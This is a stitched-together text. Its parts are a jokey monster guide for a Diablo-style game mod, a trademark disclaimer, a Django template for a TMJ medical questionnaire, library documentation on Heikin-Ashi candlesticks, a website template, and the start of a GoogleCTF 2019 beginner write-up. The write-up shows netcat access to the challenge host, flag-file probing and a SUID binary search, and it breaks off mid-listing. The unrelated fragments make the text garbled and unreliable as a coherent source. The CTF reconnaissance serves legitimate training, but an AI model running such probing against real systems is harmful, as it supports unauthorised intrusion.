Flesh Fiend
Immune to: Nothing, they didn’t need it, being under the Wanderer’s protection and that, y’know.
Skills: Melee physical attack.
Comment: The most common enemy in the whole game .

Onyx Knight ELITE
Immune to: Lightning.
Skills: Melee physical attacks, casts Shock Flower on striking.
Comment: Who said Flower skills only work with Assasin only weapons?
Strategy: The physical damage itself might be a problem, but as well you sould be able of killing him before it reaches you or having defense/HP enough to tank him.
Shock Flower is more eye candy than a real attack, with enough lightning resistances you’ll simply laugh at it as usual.
Soul Sucker
Immune to: Lightning.
Skills: Opens wounds, casts Poison Flash on attack and drains Stamina!

Strategy: You should have enough poison resistances to not feel the real burn of PF. If you do, then there’s no real problem with them.
Razor Sting
Immune to: Cold.
Skills: Stunning melee physical attack, casts Poison Flash on striking, opens wounds.
Comment: Using aftershave is recomended after fighting these monsters.
Strategy: Lousy physical damage, the only problem would be PF, but you already have maxed resistances, don’t you?... Don’t you??
Buzzsaw ELITE
Immune to: Poison.
Skills: Heavy melee physical attack, casts Starburst (Magic) on attack and opens wounds.
Comment: He may look like a simple mosquito, but he’s a real ninja!
 Ranged characters should run around, shooting behind of them once every ten minutes until they die.
For melee characters the thing is a little more tricky, you should have enough def for the melee attack to not be a real problem... but if you just stand still when fighting them, their Starburst proc will efficiently cut you in about 654 pieces even despite of the fact you just hammered the potion button.
Starburst doesn’t deal damage immediately, so once you see the shuriken flurry quit attacking and move until they disappear, dodging them is fairly easy.
Note that trying to tank Starburst is pointless, the damage per hit is just too high and Magic can’t be easily resisted.
Buzzsaw for summoners!-> Necros laugh at these monsters because of their minions being MAGIC immune; other summoners, like Druids, don’t. I can only reccomend an obvious boost of the damage and HP of minions and patience.
Jungle Hunter
Immune to: Lightning.
Skills: Poisoned melee/ranged attack.
Comment: Capable of hunting down squirrels and other large mammals.
Strategy: Be careful, if you get them to hit you they might like, negate your Life Regen.
Tree Hunter
Immune to: Magic.
Skills: Ranged/melee poison attack.
Comment: There’s a common misconception with the name of these mobs, they hunt people, not trees. They live in trees. Kthx.
Strategy: Beta 47 and poison resistances in case you don’t want to have to consider using a pot when the poison effect ends.
Blood Hunter
Immune to: Fire.
Skills: Ranged/Melee poison attack.
Comment: Actually just the same ol’ Jungle Hunter from before, but you’ll see... some years ago, a member of that tribe bited his tongue when shooting and the darts were all bloody, hence everybody laughed at him (pigmy fighters have a strange humor sense) and called him “Blood Hunter”. Since that day he exiled himself to the sewers and raised his own tribe of self-tongue-biter hunters.

Yeah, kinda too unforgiving for such a little guy.
Strategy: Wouldn’t be a problem even if you had no poison resistances...
Don’t try, though.
Jungle Devil
Immune to: Cold.
Skills: Poisoned melee/ranged attack.

Fetish Sniper ELITE
Immune to: Fire.
Skills: Spits poisoned scimitars that cast a extremely low ranged Venomous spirit when they hit something. Invisiblility.
Comment: They’ve developed such an advanced technology that, by using matter shifters placed at the end of their weapons, they can make the darts morph into friggin’ scimitars when they shoot.
Strategy: While the base damage component of the scimitars isn’t too hard to stand, the Venomous Spirit they cast when they hit anything is very dangerous. Even with maxed poison resistances, getting sniped by them is awful. The easiest solution is moving to avoid the hits.
Fetish Hunter ELITE
Immune to: Fire.
Skills: Melee poisoned attack, invisibility.
Comment: Flies as a butterfly…no, sorry. Runs as a rat, stinks as a pig.
Strategy: Unworthy of the elite title. Chop him by the half and feed the dogs with the remains. Then burn their feces.

Immune to: Nothing, ofc.
Skills: Is the simple fact of existing an skill? No? Ok, then nothing.
Comment: From a parallel, imbalanced reality, this champion type of monster is very shy and may not answer to the summoning rites that theoretically should call him.
Also it’s whispered that their AI is all screwed up because of our world’s new, improved and more challenging monsters, the overhelming aura of power makes them tremble in fear, unable to attack under any circumstance.

Bullfrog
Immune to: Fire.

Comment: Leaping lardass who actually only has enough stamina to jump in desired direction once, inertia does the rest.

Acid Prince
Immune to: Poison.
Skills: Charge, which ignores your avoidance, poison melee attack, casts Frog Prince on death.
Comment: All hail Acid Reign!
Strategy: Beware their charge attack, but also be very careful with their death effect. Either get away from the novas or rush to punch the nose of the apparition as the frog dies, they hit very hard and might even do some damage with maxed cold resistance.
Marbled Frog ELITE
Immune to: Fire.
Skills: Charge (avoids your avoidance (ironic, ain’t it?)) , physical melee attack and slows you on striking.
Comment: Known by adventurers as the “most annoying mobs” of whole Act III, they don’t last long, but their curse does.
Strategy: Watch out for them, since if they charge lock you things can go south pretty fast. A way to stop the charge lock process is getting next to a wall/river/something that won’t let them KB you, since no KB = no charge chain.
Ignoring charge, high defense does help for melee combat. Ranged characters should keep moving to avoid them and shoot blindly with their AoE skills, remembering that they’re not tanks and that getting slowed is pretty bad for them.
Jungle Rat
Immune to: Lightning.
Skills: Homing targeting poisoned spikes, Spike Nova death.
Comment: Believe it or not, it used to be a giraffe.
Strategy: *please insert your favourite variation of “Lol. You suck” here*
Cruciator ELITE
Immune to: Magic.
Skills: Shoots friggin’ targeting fire blades, casts both a Spike Barrage and a short ranged Spike Nova on death.
Comment: Pikachu, I choose you!
Strategy: You’re very lucky that they only appear in some of Kurast’s reliquaries, because these li’l fellows hit VERY hard.
Defense helps... yet still I suspect them to have some % of ITD (Ignore Total Defense), because even with a 5% Chance to be Hit, they do hit way too often.
So instead of standing there, move and pot for your life. The good thing is that they should die pretty soon.
Flame Weaver
Immune to: Cold.
Skills: Fire melee attack, casts Fireball (that explodes on striking) on striking.
Comment: Another clan of mages that was punished by Lazkarum to live trapped inside of an animal. These ones could summon the powers of fire and drop 30K Meteors on the heads of their enemies.

Cabalist
Immune to: Lightning.
Skills: Cast Gamma Field and Cold Beam.
Comment: Famous because of their moving cabalettas.
Strategy: Cold Beam is shiny, but it’s damage is so utterly and absolutely suxy that unless you have negative resistances you may not notice it actually didn’t miss you.
Gamma Field is more tricky, with some resistances it won’t really damage you too much while you are in battle, but it will last quite a long while and make your hp eventually go to one *shrugs* however, you have pots, don’t you?
Tree of Life ELITE
Immune to: Lightning.
Skills: Heavy melee physical attack, casts Inner Fire on striking.
Comment: This is in fact an old version of the monster, since the Yggdrasil vs. Modsbylaz lawsuit, the name was considered plagiarized and changed into “Tree of not-death”.
Strategy: They’re relatively slow, but they hit very hard, obvious suggestions are DoT and range. If you must fight in melee try your best to get some defense and also abuse potions. Also be careful, because this is likely to be a long fight, the good thing is that they don’t usually come in packs.
(Thanks to [clueso] for noting the ctc% Inner Fire)
Plague Bringer ELITE
Immune to: Lightning.
Skills: Melee extremely heavy poison attack, cast Gigantic SuperLaggy Nova of Poison, pierces poison resists by: 25/50/75%.
Comment: Smell... bad... *cough*
Strategy: Poison resistance is your only hope, and remember that they’ll pierce it so stack it already (obviously, NOBODY will stack poison resistance just in case they come across them, but still :P) .
Melee characters won’t really notice the damage from the nova, since once the mobs themselves hit them their HP will almost insta-drop to the floor.
Skull Ape
Immune to: Lightning.
Skills: Melee physical attack, casts a directional stunning shockwave when damaged.
Comment: Everybody, clap your hands!
Strategy: Weak AoE skills aren’t reccomended, while you can stand a bunch of waves without getting stunlocked, if a whole pack of them gets in “it’s stun time” mode at a time they are likely to lock you, leaving you weak to any other random mob that passes by.

Black Baboon
Immune to: Fire
Skills: Melee physical attack, casts a directional stunning shockwave when damaged. (This is copy+paste :D)
Comment: Even today, he still looks for his banana.

Dark Gibbon
Immune to: Cold.
Skills: Melee physical attack, casts a directional stunning shockwave when damaged. (This is more copy+paste :D:D)
Comment: Lurk in the darkness, preparing world domination plans and deciding the strategic locations to shoot bananas at invaders.
Strategy: Stuning waves can be easily dodged, also direct combat isn’t too much of a problem, since if you’re going to fight them in melee you are quite likely to be ready to face the minor challenge of their physical attack.
Monkey King ELITE
Immune to: Lightning.
Skills: Cast OMGWTFexploding barrels (fire damage) from offscreen (about a whole screen away), also has a melee physical attack.
Comment: Not a parody of Donkey Kong. –Said he, butchering the pun.
Strategy: Fire resistance for the Barrels; there’s no real problem with their damage, though, but they have a gigantic range and if they start hitting you when you’re fighting other monsters things may get ugly.
If that happens, use your common sense, drink pots and move, because the thing is that it takes those barrels a huge while to land, moving a yard or two might be enough.
The physical damage of the melee attack shouldn’t be a problem.
By the way, these monsters are (almost) static.
Burning Dead Warlock
Immune to: Fire.
Skills: Casts single target fireball.
Comment: Overpowered in life, overheated in death.
Strategy: They can deal some decent damage even if you have good resistances, but they’re fragile and their missiles are easy to avoid.
Horror Warlock
Immune to: Lightning.
Skills: Casts single target electric bolt.
Comment: Powererd by: PWNAZORS™. Your reliable undead-powering choice:
Feel the power!
Strategy: They shoot sparkles that can certainly do some ouchie if they touch you and you don’t have maxed resistances, however you’re most likey to avoid them.
River Stalker
Immune to: Nothing Supahlulz.
Skills: Casts ranged poison spit (Head). Melee physical Tail Swing (Tail).
Comment: Never a dry eye at his performance.
Strategy: Lol.
Stygian Watcher
Immune to: Nothing!
Skills: Casts poison sputter (Head). Angry physical melee attack (Tail)
Comment: The head can live without the tail, the tail can live without the head. Independence ftw.
Strategy: You better be kidding. By the way, the bloody small waves effect that Bloodlust and Bloodhatred leave under the character right after casting are taken from this mob’s death animation ;).
Another thing, they happen to be immune to piercing directional ranged attacks such as Ghost Arrow or Bear Claw.
Water Watcher
Immune to:
Skills: Casts poison sputter (Head). Physical melee attack (Tail).
Comment: Having giant water snakes doesn’t exactly encourage to get over hydrophobia, you know.
Strategy: Meh.
Ghost Zombie
Immune to: Poison.
Skills: Melee cold attack casts Hunting Banshee on death.
Comment: The unliving proof that zombies can be killed.

HB’s power comes from a extreme amount multihits, so the damage per frame is kinda low. Now each mob HB hits only once with ridiculously low damage, in fact, if you kill a pack of zombies at a time the first hit of a HB will protect you from the following ones...
[/rant] My bad, this is not the place to complain about this.
Black Death ELITE
Immune to: Poison.
Skills: Heavy physical/poison melee attack.
Comment: “W007!!! OM6 liek I sc4pt t3h R3s1d3n7 3v17 2 pwn t3h sh43t oot ov j00!!!” –Anonymous Zombie
Strategy: You can tank their poison for a while with maxed resistances and drinking pots like mad, but anyway melee contact isn’t reccomended with these zombies.
Be how it be, if they happen to be faster than you or you’re a melee character, rush to a nearby wall/corner/tree/whatever so that the whole pack can’t hit you at a time.
Defense is a major help against them.
Night Clan
Immune to: Cold.
Skills: Melee physical onslaught, cast self speed buff on attack.
Comment: Like heavy metal... when it’s buried in the player’s flesh.
Strategy: Mid-heavy physical melee attacks and mid moving speed makes them quite an easy prey, ranged chars can cripple them from a distance and the damage isn’t so outstanding for melee characters with some defense.
Night Clan Priest edition!
Immune to: Cold.
Skills: Pain Spirit (magic damage) , Bacchanalia (rises spell damage as life decreases) and Explode corpse (fire damage).
Comment: Dark priests darkened by the dark taint of darkness.
 And as well move to avoid Pain Spirit. They won’t be tough to kill.
Bone Gasher
Immune to: Fire.
Skills: Noticeable melee physical attack, casts Bloodlust on death.
Comment: Actualy it’s not a bird but a reptile.
Strategy: Simple, they buff nearby enemies on death and that’s = bad, so try to kill other stuff first, they’re not much of a threat, though, since they attack kinda slow and aren’t too aggressive.
Invader
Immune to: Cold.
Skills: Teleports you on striking, melee physical attack.
Comment: Tall, but also fragile and skinny, this six-handed guy should’ve eaten more vegetables when he was youger.
Strategy: Usually found among the assaulting crowds of Kurast, their teleport actually helps most of times, since it might take you out of the reach of that angry mob that’s biting your leg like there was no tomorrow. Or not. It’s like, random. B47’em up, however.
Djinn ELITE
Immune to: Magic.
Skills: Melee physical attack, teleports you on striking AND casts Immolation Bomb on striking too.
Comment: His hatred against humanity is only surpassed by his hatred against ponies, I’d tell you the full story but it’s too off-topic.
Strategy: Their physical attack isn’t the problem at all, the thing is that once they tele you, you have 3 seconds to get out of the bomb’s range.
However, they’re not likely to kill you that way if you have decent resistances, even getting the full blast in the face will do so-so damage, and due to the way missiles spread you can’t get hit by all the fireballs in the first place even despite the skill doesn’t have ND.
Shroom ELITE
Immune to: Poison.
Skills: Faerie Fire, Poisoned melee attack and cast some kind of AoE (not too large radius, though) weapon based proc on attack.
Comment: I spent like 30 mins attempting to spawn one of theese in Act 1 until I realized that they actually belong to Act 3... gah... -_-‘
Strategy: Their poison is no joke, it lasts quite a long time and even with high resistance the damage is high.
Potions are the answer, because even if as a ranged character you manage to avoid melee hits, their sparkles are likely to hit you for ? damage.

Note that all of their abilities are weapon based, hence, defense will be extremely useful when fighting them.
Dark Cabalist
Immune to: Poison.
Skills: Casts Venomous Spirit, Melee physical attack.
Comment: Evil mummies animated with a sole purpose...umm, what was it?

Feline Witch
Immune to: Fire.
Skills: Physical melee/ranged angry meow! Also casts Mark of the Wild on striking.
Comment: Like chasing birds, setting turtles on fire and...um... pancakes ;).
Strategy: Again your ole enemy the “typical mob” under a new disguise, master of the Beta 47, show your might.
Feline Priestess
Immune to: Fire.
Skills: Uses Fanaticism aura to provide kinda low bonus to the physical damage and attack speed of nearby monsters. As well casts Mark of the Wild on striking and uses physical ranged attacks. You thought that was all? Nope, they ALSO cast Fissure on death.
Comment: Born six moons after that wild party the pantherwomen clans and the druidic colleges made their graduation day, these feline beings were raised in hatred with the only objective of destroying the tree-hugger progenitors (and any other filthy human) that ignored them.

Strategy: By now you should now the tale.
(In fact I’m wrong, theoretically this isn’t meant to be read from the beginning to the end, but to simply use Ctrl+F and find the mob you want to know about.  If you’re reading this, +1 ;) )
Infernal Lynx
Immune to: Fire.
Skills: Ranged/ melee fire attack and casts Mark of the Wild on striking.
Comment: Said to be the hottest kittens ever.
Strategy: With their slighly noticeable damage taken into a count, do you really need to be told how to fight them?
Geomancess
Immune to: Fire.
Skills: Fanaticism aura (buffs weapon damage), ranged fire attack, casts Mark of the Wild on striking. Volcano death.
Comment: Shaman cat that can drive both tanks and infernal power.
Strategy: No real need of strategy, this li’l cat gives mobs a buff, kill the cat and it’s done.
Fallen Hero
Immune to: Lightning.
Skills: Near to decent melee physical damage, Charge (omg ignores your def lololol), wasted his skill points in Concentration and now EVERYBODY’S LAUGHING AT HIM!!
Comment: Said to not attack heroes because of being possesed by the Three, but because they don’t want YOU to take THEIR glory.

Knight of Famine
Immune to: Cold.
Skills: Charge (ignores your avoidance), melee physical attack, has Concentration aura to buff damage and casts Inner Fire on striking.
Comment: Are like, hungry, yo.
Strategy: Charge is tricky as always, because if knocks you back and leaves you vulnerable to other charges, avoid it by moving if you’re a ranged character ... or simply “tank” it (=let it hit you and counter before the next one comes) and melee them, if you fight in melee.
(Thanks yet once again to Sing_In_Silence because of telling about the IF proc)
Knight of Pestilence
Immune to: Poison.
Skills: Physical melee attack, Charge (ignores avoidance), slows on striking. Also has Concentration aura to buff damage.
Comment: Yep, they were retaliator plagueadins when they were alive.
Strategy: Don’t let a pack charge lock you (by putting your back against a wall, for example) and should be ok.
Knight of Death ELITE
Immune to: Lightning.
Skills: Melee physical attack, Charge (ignores avoidance), concentration aura... and also casts very often “Touch of Death” on attack.
Comment: He believes that there is something else after death. The bleeding corpse that falls on the ground.
Strategy: Don’t let them hit you, for God’s sake. Touch of Death is a curse that degenerates all of your atributes and causes your gear to be unusable most of times. Specially if you’re on any of the Atribute challenges, don’t allow them to get close, range them.
:roll: Ok, if you’re a melee character you have to melee them... or you could just pick up a bow/crossbow...
 Also remember that fleeing via TP is always an option.
Mana Monster
Immune to: Cold.
Skills: Stunning melee physical attack, casts Arcane Fury on striking, casts Magic Missiles (two misiles).
Comment: Bwhahaha! Hides in your mana orb and bites your eye when less expected!
Strategy: The stun and the melee damage are bad enough, but you should have a way of dealing with stuff like that by now.
Magic missiles unfortunately aren’t such an easy problem. Since magic res gear is rare, it’s reccomended to either get rid of them very fast without caring about the damage or range them, moving to avoid the missiles. Or you could use pots :roll:.
Dark Toad
Immune to: Lightning.
Skills: Casts (two) Magic Missiles and also has a stunning melee physical attack, on top casts Arcane Fury on striking.
Comment: Came to the dark side after Princess Peach rejected him... Oh, it wasn’t that Toad.
Strategy: Don’t let the pack range you at a time, move a little and you’ll be ok.
Mangler ELITE
Immune to: Cold.
Skills: Storm Crows (seven knives), melee stunning physical attack.
Comment: By Mango.
Strategy: The knives multihit, and that’s bad, but you can dodge then with some defense and as well you can move to avoid them completely. For melee there’s no real problem, since the melee attack is somewhat slow and their HP isn’t so outstanding.
Fallen Wolf Rider
Immune to: Cold.
Skills: Physical melee attack, casts Flurry of Javelins (knockback!) on striking.
Comment: Wait... if the normal thing is seeing a Fallen riding a wolf... then I think we finally know where the hell Fallen Ones fell from!
I mean, not like it makes them be a threat at all... but they’re Fallen Ones! It’s their objective in life to make us laugh at them, who do they think they are learning to do something!?
Emerald Scarab
Immune to: Lightning.
Skills: Lightning melee attack, casts Claw Tornado on attack.
Comment: They’re covered by an extrememly hard and thick layer of keratin that protects their vitals, also the layer has that green glow that makes fools think they’re really made of emeralds... the expression of disappointment of a merchant when he realizes of that after hours trying to breach the protective layer is really unforgettable -__O’!

Skills: Invisibility, physical melee attack.
Comment: Dissappointed the noble lineage of the stalkers by getting an elemental immunity.
Strategy: B47.
Tainted Soul
Immune to: Cold.
Skills: Casts single target Big Bad Snowball.
Comment: Oh, is it Christmas already?
Strategy: -.-  Please note that the vomitive AI lock still happens with this version, profit from it if you have no morals.
Familiar
Immune to: Cold.
Skills: Lightning melee attack, casts multiple Zigzagging Electric Bolts on striking.
Comment: Every single one of them carries a “If lost, please return to Horazon” small plate around the neck.
Strategy: The melee attack itself is average... the damage of the four lightning bolts hitting at a time isn’t, in fact, if you’re not careful and decide that you can tank a pack of them without trouble, you might find yourself potting for your life.
The solution is obvious, range them; if you belong to some kind of religion or cult that doesn’t allow you to use ranged skills rush to melee them without wasting any time.
Shrieker ELITE
Immune to: Cold.
Skills: Casts Countdown on attack, cold melee attack.
Comment: Said to be the result of the impure and sinful union of an Icesorc and a Batstriker, which in fact was an act of vengeance against a certain Summonzon who rejected them when they asked her to make a threesome.
Strategy: Simple, these flying aberrations are a quite easy prey for heroes that have decent cold resistances, as long as they don’t stand still for Countdown to explode on their faces, that is. As soon as you see the first cold sparkle, move away from it within three seconds, just to avoid getting maimed and that.
@Summoners: Despite Countdown is devastating for most summoned creatures, it’s also true that Summoners know they’ll have to summon them again sooner or later, these ones just make them have to summon more often.
-Poor summoner Bloodwitches may have a hard time because of that little thing of their Elementals popping like balloons when Countdown triggers...
I suggest taking a more active than usual role in battles, loading 50% minion res and... well... summoning over and over again; PoB might not help too much this time, I’m afraid.
Black Flame
Immune to: Lightning.
Skills: Melee lightning attack, casts Lightning.
Comment: It’s white, for some strange reason.
Strategy: Get lightning resistance and quit complaining already :P.
Living Rock
Immune to: Cold.
Skills: Charge, which won’t care about your avoidance, physical melee attack
vAncient deity of the cold nomadic tribes that was submited by the Zakarum and used as guard of their temples. However, they still do the same, chopping people by the half.
Strategy: Very slow moving/attack speed, so charge isn’t a real problem, and on top they lack a heavy melee attack to make up for it. Beta47.
Fire Drake
Immune to: Fire.
Skills: Charge (ignores avoidance), melee fire attacks.
Comment: Likes to throw children down wells.
Strategy: It lives in the relicaries, so even if it charge-locks you, it’ll quickly put you against a wall, stopping the chain. And then it’s time for the slaughter.
Templar
Immune to: Lightning.
Skills: Says: “Boo!” when struck *Minions run away, trembling in fear*, also hits with melee physical attack.
Comment: Frenzied maniacs that are currently being treated by the worldwide known psychiatrist Dr. U. R. Nuttz.
 Deal with them with some active skill of yours.
@Non-Summoner crowd: EZ prey, guys ‘n gals!
Archon
Immune to: Lightning.
Skills: War Spirit, which periodically casts Spike Novas when an enemy is near. Casts Thunder Wave and Thunder Hammer. As well deals slow faith-fu melee physical punches.
Comment: Can’t compete in debates.
Strategy: You can avoid the spike novas and the melee physical attack with defense, so that’s a lesser problem... Unfortunately, both TH and TW are spells, which ignore defense, and that’s bad because Archon’s damage is high. Getting hit by a full wave of hammers, for example, clubs your HP underground.
To avoid that, melee characters should rush to them as soon as they spot them, once in melee range the thing will be more or less safe, they’ll die pretty soon and won’t use hammer skills.
Ranged characters are the ones having to deal with the hammers, a pot is the easiest option, that and moving to avoid them.
Dark Templar
Immune to: Cold.
Skills: Invisibility, scares minions when attacked, physical melee attack.
Comment: Dark cultists of the Light. May the irony guide your path.
Strategy: Invisible melee enemies...you should have learnt to use AoE attacks against them by now.
@Summoners: :(.
Dark Archon
Immune to: Cold.
Skills: War spirit, casts Thunder Hammer and Thunder Wave and uses a melee physical attack.
Comment: Obliterates anything that he gazes at... there’s more than one funny story about that power, btw ;).
Strategy: Not rocket science:
High defense-> Rush to close range and smack him, War Spirit won’t deal too much damage if it misses you.
Low defense-> Run around dodging the hammers and range him trying to not get hit by too many spikes, shouldn’t be too difficult.
Blood Templar
Immune to: Fire.
Skills: Melee physical attack, still yells maniacally when attacked, scaring minons off.
Comment: Have recently been accused of theft, because of the mysterious disappearing of all polearms in Sanctuary.
 B47 4 3V3R.
Blood Archon
Immune to: Fire.
Skills: War Spirit, which casts Spike Nova periodically. Also Thunder Hammer and Thunder Wave, both physical spells; as well as a laughable physical melee attack.
Comment: “JOIN US.” –Screamed the maniac spikeblaster with his robes drenched in blood.
Strategy: Run around to range him avoiding the hammers or rush to melee, since he will only use them if you’re away from him.
Twilight Templar
Immune to: Magic.
Skills: Physical melee attack, makes attacking minions flee (melee only).
Comment: Come from the Twilight Zone...
 B47 them.
Twilight Archon
Immune to: Magic.
Skills: Melee physical attack and War Spirit (casts spike novas periodically). Also casts Thunder Hammer and Thunder Wave.
Comment: Used to go out with the Twilight princess, but then Link appeared and...
Strategy: Move to avoid the hammers or rush to melee them, they won’t cast if you’re at melee range.
Peace Warder ELITE
Immune to: Magic.
Skills: Melee physical attack, invisibility, makes attacking minions flee and also slows on striking.
Comment: Said to have Terror Strike and Shadowfiends oskills, but God forbid they used them. Minions shall have no minions.
Strategy: This little guy deals kinda low damage by himself, but he will come with friends and they’re likely to ambush you, because of being invisible and that. Don’t allow them to do it, use AoE and DoT when possible, if you can’t, simply hold shift and attack when you know they’re close, potting meanwhile.
Que-Hegan ELITE Worship us.
Immune to: Magic.
Skills: Casts Diseased Cattle, casts Psionic Storm (magic damage), summons Peace Warders [Hallucination] (same as regular Peace Warder, but much lower HP) and also casts Death of a God on death.
You thought that was all? Hah, they also cast Rapture every now and then... and their version actually boosts cast speed!
Comment: BWHAHAHAHAHAHAHAHA. –The New Travincal Times.

Of course, actually avoiding the DC poison clouds would be optimal, but I know that most people simply won’t.
At the time I write this their Psionic Storm deals zero damage, making them simply waste time and effort casting it while they could be killing you with 1337 summoneds and DC. Nooblarz.
Moon Knight
Immune to: Cold.
Skills: Pounce, cold melee attack, casts Dark Power on attack.
Comment: Comment: It used to be the common belief that they jumped from the moon on their enemies’ head, hence the name.
Strategy: Even if you’re not used to tank, their damage pretty much sucks, so you should be ok. However, watch out from them locking you in melee while other more dangerous monsters are around (e.g: Archons).
Another reason to get rid of them soon is that Dark Power might give you a headache or two if you let them proc it. (25% Crushing Blow chance, enhanced damage, IAS and magic flat damage aren’t something to laugh at.)
High Priestess ELITE
Immune to: Magic.
Skills: Casts Spiral Dance on attack, melee physical attack, slows on striking.
Comment: Commander of the Dancing Army, the earth shakes under her marching invisible troops.
Strategy: Her melee attack is pretty much devastating, but that’s not your only problem.  (I’m LYING so that you get scared and think it doesn’t have ND! But seriously, move anyway.)
All of her attacks are weapon based, hence defense is very helpful. Also another good thing is that she’s not too fast and that she doesn’t usually come with friends.
Ulfheidinn ELITE
Immune to: Fire.
Skills: Casts Gift of the Wild on striking, slows on striking, melee physical attack.
Comment: Tribal fighters whose might changed the tide of several battles, and even wars. For their impressive feats, they got to record several ads for Her-Os, the champion’s breakfast!™.
Strategy: These huge maniacs have pretty high damage by themselves, but on top, they cast GotW to improve it.
The solution is obvious, don’t let them catch you unless you really know what you’re doing. Their walk and attack speed is average, so moving should make your job a lot easier even if you are a melee character.
Another reason to actually avoid melee contact is that you don’t want them to proc GotW, unlike other monster buffs you’ve met until now, this one does make a very big difference, boosting greatly physical damage and also giving a noticeable buff to elemental spells of nearby enemies.
Basically, it’s all about luring them to some free place of the map and then dealing with them, taking your time
Their pack size is usually low, between 2 and 4.
(Yo SiS dawg! Thank yo for da Her-Os joke :P)
Sinner
Immune to: Fire.
Skills: Casts Apocalypse and Pyroblast.
Comment: Always burn toasts.
Strategy: If you have fire resisance, there shouldn’t be any strategy.
This last thing could be a problem for cold sorcs (because PB might simply blow your snowballs in one shot), but actually, just casting an Abyss or two on them should kill them.
MISSIGNO Aka, Mephistospirit.
Immune to: Mouse targeting.
Skills: Stunning melee physical attack.
Comment: These are the blue spirit things in the Durance of Hate level 3, the static ones that try to hit you when you get close for the first time.
Strategy: Actually... they might make it to kill you if you’re extremely unlucky and get close to them with low HP, they pack a mid-low damage punch, but it can be lethal in some conditions.
^^


All trademarks are the property of their respective owners; third-party brands, product names, trade names, corporate names and companies mentioned herein may be the trademarks of their respective owners or registered trademarks of other companies and have been used for purposes of explanation and to the owner's benefit, without implying a violation of copyright law.
An SVG webfont full of icons of main payment systems created by @orlandotm with iconmoon.io


{% extends "medicalforms/form_base.html" %} {% load static %} {% block title %} TMJ Screening {% endblock title %} {% block form_content %}
This questionnaire was designed to provide important facts regarding the history of your condition. To assist in determining the source of any problem, please take your time and answer each question as completely and honestly as possible. Please sign each page.
Note: Please ensure that symptoms identified in the following questionnaire were not present before the MVA or have been greatly exacerbated after the MVA.


stockd.ta.heikenAshi
- class HeikenAshi;
- Heikin-Ashi Price Bars
Ref:
stockcharts.com
Heikin-Ashi Candlesticks are an offshoot from Japanese candlesticks. Heikin-Ashi Candlesticks use the open-close data from the prior period
and the open-high-low-close data from the current period to create a combo candlestick. The resulting candlestick filters out some noise in
an effort to better capture the trend. In Japanese, Heikin means "average" and "ashi" means "pace" (EUDict.com). Taken together,
Heikin-Ashi represents the average-pace of prices. Heikin-Ashi Candlesticks are not used like normal candlesticks. Dozens of bullish or bearish
reversal patterns consisting of 1-3 candlesticks are not to be found. Instead, these candlesticks can be used to identify trending periods,
potential reversal points and classic technical analysis patterns.
HaClose = (Open+High+Low+Close)/4
= the average price of the current bar
HaOpen = [HaOpen(previous bar) + Close(previous bar)]/2
= the midpoint of the previous bar
HaHigh = Max(High, HaOpen, HaClose)
= the highest value in the range
HaLow = Min(Low, HaOpen, HaClose)
= the lowest value in the range
Page generated by Ddoc.


{% if page.description %}
{% endif %}
Georgios Gousios
About
Research
Research
Publications
Software
Talks
Publications
Teaching
Lab notes
Open Projects
Contact
Blog
{{ content }}


GoogleCTF Beginner's Quest 2019 - Work Computer
Description
With the confidence of conviction and decision making skills that made you a contender for Xenon’s Universal takeover council, now disbanded, you forge ahead to the work computer. This machine announces itself to you, surprisingly with a detailed description of all its hardware and peripherals. Your first thought is “Why does the display stand need to announce its price? And exactly how much does 999 dollars convert to in Xenonivian Bucklets?” You always were one for the trivialities of things.
Also presented is an image of a fascinating round and bumpy creature, labeled “Cauliflower for cWo” - are “Cauliflowers” earthlings? Your 40 hearts skip a beat - these are not the strange unrelatable bipeds you imagined earthings to be.. this looks like your neighbors back home. Such curdley lobes. Will it be at the party?
SarahH, who appears to be a programmer with several clients, has left open a terminal. Oops. Sorry clients! Aliens will be poking around attempting to access your networks.. looking for Cauliflower. That is, if they can learn to navigate such things.
Solving
Okay, we can probably try netcat
to connect to that host:
$ nc readme.ctfcompetition.com 1337
Nice, we are in! Let’s poke around!
> id
uid=0 gid=0 euid=1338 groups=0
> ls -l
total 8
---------- 1 1338 1338 33 Jul 24 15:48 ORME.flag
-r-------- 1 1338 1338 28 Jul 24 15:48 README.flag
> cat README.flag
error: No such file or directory
> cat ORME.flag
error: No such file or directory
> uname -a
Linux jail-0 4.15.0-1023-gcp #24-Ubuntu SMP Wed Oct 10 13:28:59 UTC 2018 x86_64 Linux
> cd
aliensh: expected argument to "cd"
So… using cat
fails because… the binary just doesn’t exist on aliensh
.
No worries, let’s try something else, a classical one, look for SUID binaries!
> find /bin -perm 4000
error: No such file or directory
Oh. No cat
, no find
… but what do we have then?
$ ls -l /bin
total 800
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 arch -> /bin/busybox
-rwxr-xr-x 1 65534 65534 796240 Jan 24 07:45 busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 chgrp -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 chown -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 conspy -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 date -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 df -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 dmesg -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 dnsdomainname -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 dumpkmap -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 echo -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 false -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 fdflush -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 fsync -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 getopt -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 hostname -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 ionice -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 iostat -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 ipcalc -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 kill -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 login -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 ls -> /bin/busybox
lrwxrwxrwx 1 65534 65534 12 May 9 20:49 lzop -> /bin/busybox
